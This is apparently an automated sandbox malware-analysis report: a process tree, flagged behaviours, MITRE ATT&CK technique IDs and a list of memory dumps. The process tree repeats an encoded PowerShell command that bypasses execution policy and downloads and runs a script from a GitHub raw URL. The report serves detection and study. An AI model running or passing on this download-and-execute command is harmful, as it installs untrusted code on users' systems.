1⤵
PID:3816
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2628

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2708
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/196-146-0x0000028F6AB66000-0x0000028F6AB68000-memory.dmp

Filesize
8KB

Download
memory/196-154-0x0000028F6AB68000-0x0000028F6AB69000-memory.dmp

Filesize
4KB

Download
memory/196-133-0x0000028F6AB60000-0x0000028F6AB62000-memory.dmp

Filesize
8KB

Download
memory/196-129-0x0000028F6B680000-0x0000028F6B681000-memory.dmp

Filesize
4KB

Download
memory/196-153-0x0000028F6C0C0000-0x0000028F6C0C1000-memory.dmp

Filesize
4KB

Download
memory/196-126-0x0000028F6AB20000-0x0000028F6AB21000-memory.dmp

Filesize
4KB

Download
memory/196-134-0x0000028F6AB63000-0x0000028F6AB65000-memory.dmp

Filesize
8KB

Download
memory/196-152-0x0000028F6BD30000-0x0000028F6BD31000-memory.dmp

Filesize
4KB

Download
memory/196-144-0x0000028F6AB50000-0x0000028F6AB51000-memory.dmp

Filesize
4KB

Download
memory/500-244-0x00000212A0F66000-0x00000212A0F68000-memory.dmp

Filesize
8KB

Download
memory/500-245-0x00000212A0F68000-0x00000212A0F69000-memory.dmp

Filesize
4KB

Download
memory/500-243-0x00000212A0F63000-0x00000212A0F65000-memory.dmp

Filesize
8KB

Download
memory/500-242-0x00000212A0F60000-0x00000212A0F62000-memory.dmp

Filesize
8KB

Download
memory/1032-174-0x000001ED810B3000-0x000001ED810B5000-memory.dmp

Filesize
8KB

Download
memory/1032-193-0x000001ED810B6000-0x000001ED810B8000-memory.dmp

Filesize
8KB

Download
memory/1032-201-0x000001ED810B8000-0x000001ED810BA000-memory.dmp

Filesize
8KB

Download
memory/1032-173-0x000001ED810B0000-0x000001ED810B2000-memory.dmp

Filesize
8KB

Download
memory/3536-209-0x000001E85BEE6000-0x000001E85BEE8000-memory.dmp

Filesize
8KB

Download
memory/3536-210-0x000001E85BEE8000-0x000001E85BEEA000-memory.dmp

Filesize
8KB

Download
memory/3536-208-0x000001E85BEE3000-0x000001E85BEE5000-memory.dmp

Filesize
8KB

Download
memory/3536-207-0x000001E85BEE0000-0x000001E85BEE2000-memory.dmp

Filesize
8KB

Download
memory/3844-204-0x000001B3AAA36000-0x000001B3AAA38000-memory.dmp

Filesize
8KB

Download
memory/3844-202-0x000001B3AAA30000-0x000001B3AAA32000-memory.dmp

Filesize
8KB

Download
memory/3844-205-0x000001B3AAA38000-0x000001B3AAA3A000-memory.dmp

Filesize
8KB

Download
memory/3844-203-0x000001B3AAA33000-0x000001B3AAA35000-memory.dmp

Filesize
8KB

Download
memory/3872-114-0x000001EEECB50000-0x000001EEECF71000-memory.dmp

Filesize
4.1MB

Download
memory/3872-119-0x000001EEEC716000-0x000001EEEC717000-memory.dmp

Filesize
4KB

Download
memory/3872-116-0x000001EEEC710000-0x000001EEEC712000-memory.dmp

Filesize
8KB

Download
memory/3872-118-0x000001EEEC715000-0x000001EEEC716000-memory.dmp

Filesize
4KB

Download
memory/3872-117-0x000001EEEC713000-0x000001EEEC715000-memory.dmp

Filesize
8KB

Download